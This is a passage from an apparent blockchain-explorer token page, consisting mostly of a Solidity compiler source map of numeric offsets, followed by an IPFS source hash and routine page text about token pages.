;2557:6;-1:-1:-1;;;;;6000:13:0;;;2557:6;;6000:13;;5981:32;5977:1052;;;-1:-1:-1;;;;;6033:24:0;;;;;;:18;:24;;;;;;;;6032:25;:52;;;;-1:-1:-1;;;;;;6062:22:0;;;;;;:18;:22;;;;;;;;6061:23;6032:52;6029:922;;;6108:9;;-1:-1:-1;;;6108:9:0;;;;6107:10;:36;;;;-1:-1:-1;6127:16:0;;-1:-1:-1;;;;;6121:22:0;;;6127:16;;6121:22;6107:36;6104:122;;;6167:14;:21;;-1:-1:-1;;;;;;6190:16:0;-1:-1:-1;;;;;6167:21:0;;6190:16;-1:-1:-1;;;6190:16:0;;;6104:122;6247:9;;-1:-1:-1;;;6247:9:0;;;;6244:613;;;6360:14;;6280:13;;;;-1:-1:-1;;;;;6360:14:0;;;6352:22;;;;6349:89;;-1:-1:-1;6410:4:0;6349:89;6494:4;6460:17;6480:20;;;:5;:20;;;;;;;;:22;;6533:5;:45;;6542:12;:35;;6576:1;6533:45;;6542:35;6555:20;6573:1;6555:13;:6;6573:1;6555:10;:13::i;:::-;:17;;:20::i;:::-;6533:45;;;6539:1;6533:45;-1:-1:-1;;;;;6617:13:0;;;;;;:7;:13;;;;;;6525:53;;-1:-1:-1;6617:25:0;;6635:6;6617:17;:25::i;:::-;-1:-1:-1;;;;;6601:13:0;;;;;;:7;:13;;;;;:41;6679:34;6695:17;:6;6706:5;6695:10;:17::i;:::-;-1:-1:-1;;;;;6679:11:0;;;;;;:7;:11;;;;;;;:15;:34::i;:::-;-1:-1:-1;;;;;6665:11:0;;;;;;:7;:11;;;;;:48;-1:-1:-1;6029:922:0;;-1:-1:-1;;6029:922:0;6244:613;6786:9;;-1:-1:-1;;;6786:9:0;;;;6778:59;;;;-1:-1:-1;;;6778:59:0;;6843:2:1;6778:59:0;;;6825:21:1;6882:2;6862:18;;;6855:30;6921:34;6901:18;;;6894:62;-1:-1:-1;;;6972:18:1;;;6965:36;7018:19;;6778:59:0;6641:402:1;6778:59:0;5977:1052;;6029:922;-1:-1:-1;6931:4:0;5977:1052;;;-1:-1:-1;7013:4:0;5977:1052;7042:19;7039:405;;;7077:10;7089:17;7130:7;2530;2557:6;-1:-1:-1;;;;;2557:6:0;;2492:79;7130:7;-1:-1:-1;;;;;7124:13:0;:2;-1:-1:-1;;;;;7124:13:0;;;:39;;;;-1:-1:-1;;;;;;7141:22:0;;;;;;:18;:22;;;;;;;;7124:39;:65;;;;-1:-1:-1;7175:14:0;;-1:-1:-1;;;;;7167:22:0;;;7175:14;;7167:22;7124:65;7121:161;;;7258:4;7244:20;;;;:5;:20;;;;;;7217:4;;-1:-1:-1;7244:22:0;;:20;;7217:4;7244:22;:::i;:::-;7237:4;7223:20;;;;:5;:20;;;;;:43;;-1:-1:-1;;7223:43:0;;;;;;;;;;;;7121:161;7295:14;7303:5;7295:7;:14::i;:::-;-1:-1:-1;;;;;7340:13:0;;;;;;:7;:13;;;;;;7283:26;;-1:-1:-1;7340:25:0;;7358:6;7340:17;:25::i;:::-;-1:-1:-1;;;;;7324:13:0;;;;;;:7;:13;;;;;:41;7394:38;7410:21;:6;7421:9;7410:10;:21::i;:::-;-1:-1:-1;;;;;7394:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;7380:11:0;;;;;;:7;:11;;;;;:52;-1:-1:-1;;7039:405:0;7474:2;-1:-1:-1;;;;;7459:26:0;7468:4;-1:-1:-1;;;;;7459:26:0;;7478:6;7459:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;7459:26:0;;;;;;;;5692:1801;5623:1870;;;:::o;1384:190::-;1470:7;1506:12;1498:6;;;;1490:29;;;;-1:-1:-1;;;1490:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1530:9:0;1542:5;1546:1;1542;:5;:::i;:::-;1530:17;1384:190;-1:-1:-1;;;;;1384:190:0:o;1582:246::-;1640:7;1664:1;1669;1664:6;1660:47;;-1:-1:-1;1694:1:0;1687:8;;1660:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7758:2:1;1745:56:0;;;7740:21:1;7797:2;7777:18;;;7770:30;7836:34;7816:18;;;7809:62;-1:-1:-1;;;7887:18:1;;;7880:31;7928:19;;1745:56:0;7556:397:1;1745:56:0;1819:1;1582:246;-1:-1:-1;;;1582:246:0:o;1836:132::-;1894:7;1921:39;1925:1;1928;1921:39;;;;;;;;;;;;;;;;;:3;:39::i;1240:136::-;1298:7;1325:43;1329:1;1332;1325:43;;;;;;;;;;;;;;;;;:3;:43::i;1053:179::-;1111:7;;1143:5;1147:1;1143;:5;:::i;:::-;1131:17;;1172:1;1167;:6;;1159:46;;;;-1:-1:-1;;;1159:46:0;;8290:2:1;1159:46:0;;;8272:21:1;8329:2;8309:18;;;8302:30;8368:29;8348:18;;;8341:57;8415:18;;1159:46:0;8088:351:1;5160:112:0;5210:7;5236:5;:28;;5263:1;5236:28;;;-1:-1:-1;;5244:16:0;;;5160:112::o;1976:189::-;2062:7;2097:12;2090:5;2082:28;;;;-1:-1:-1;;;2082:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2121:9:0;2133:5;2137:1;2133;:5;:::i;206:548:1:-;318:4;347:2;376;365:9;358:21;408:6;402:13;451:6;446:2;435:9;431:18;424:34;476:1;486:140;500:6;497:1;494:13;486:140;;;595:14;;;591:23;;585:30;561:17;;;580:2;557:26;550:66;515:10;;486:140;;;490:3;675:1;670:2;661:6;650:9;646:22;642:31;635:42;745:2;738;734:7;729:2;721:6;717:15;713:29;702:9;698:45;694:54;686:62;;;;206:548;;;;:::o;759:173::-;827:20;;-1:-1:-1;;;;;876:31:1;;866:42;;856:70;;922:1;919;912:12;856:70;759:173;;;:::o;937:254::-;1005:6;1013;1066:2;1054:9;1045:7;1041:23;1037:32;1034:52;;;1082:1;1079;1072:12;1034:52;1105:29;1124:9;1105:29;:::i;:::-;1095:39;1181:2;1166:18;;;;1153:32;;-1:-1:-1;;;937:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:127::-;2625:10;2620:3;2616:20;2613:1;2606:31;2656:4;2653:1;2646:15;2680:4;2677:1;2670:15;2696:422;2785:1;2828:5;2785:1;2842:270;2863:7;2853:8;2850:21;2842:270;;;2922:4;2918:1;2914:6;2910:17;2904:4;2901:27;2898:53;;;2931:18;;:::i;:::-;2981:7;2971:8;2967:22;2964:55;;;3001:16;;;;2964:55;3080:22;;;;3040:15;;;;2842:270;;;2846:3;2696:422;;;;;:::o;3123:806::-;3172:5;3202:8;3192:80;;-1:-1:-1;3243:1:1;3257:5;;3192:80;3291:4;3281:76;;-1:-1:-1;3328:1:1;3342:5;;3281:76;3373:4;3391:1;3386:59;;;;3459:1;3454:130;;;;3366:218;;3386:59;3416:1;3407:10;;3430:5;;;3454:130;3491:3;3481:8;3478:17;3475:43;;;3498:18;;:::i;:::-;-1:-1:-1;;3554:1:1;3540:16;;3569:5;;3366:218;;3668:2;3658:8;3655:16;3649:3;3643:4;3640:13;3636:36;3630:2;3620:8;3617:16;3612:2;3606:4;3603:12;3599:35;3596:77;3593:159;;;-1:-1:-1;3705:19:1;;;3737:5;;3593:159;3784:34;3809:8;3803:4;3784:34;:::i;:::-;3854:6;3850:1;3846:6;3842:19;3833:7;3830:32;3827:58;;;3865:18;;:::i;:::-;3903:20;;3123:806;-1:-1:-1;;;3123:806:1:o;3934:140::-;3992:5;4021:47;4062:4;4052:8;4048:19;4042:4;4021:47;:::i;4079:168::-;4119:7;4185:1;4181;4177:6;4173:14;4170:1;4167:21;4162:1;4155:9;4148:17;4144:45;4141:71;;;4192:18;;:::i;:::-;-1:-1:-1;4232:9:1;;4079:168::o;7048:148::-;7136:4;7115:12;;;7129;;;7111:31;;7154:13;;7151:39;;;7170:18;;:::i;7201:128::-;7268:9;;;7289:11;;;7286:37;;;7303:18;;:::i;7334:217::-;7374:1;7400;7390:132;;7444:10;7439:3;7435:20;7432:1;7425:31;7479:4;7476:1;7469:15;7507:4;7504:1;7497:15;7390:132;-1:-1:-1;7536:9:1;;7334:217::o;7958:125::-;8023:9;;;8044:10;;;8041:36;;;8057:18;;:::i

Swarm Source

ipfs://311540535f50d450a3000be044337d5f821493fd0b11f257e9fde1b0e012d721
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.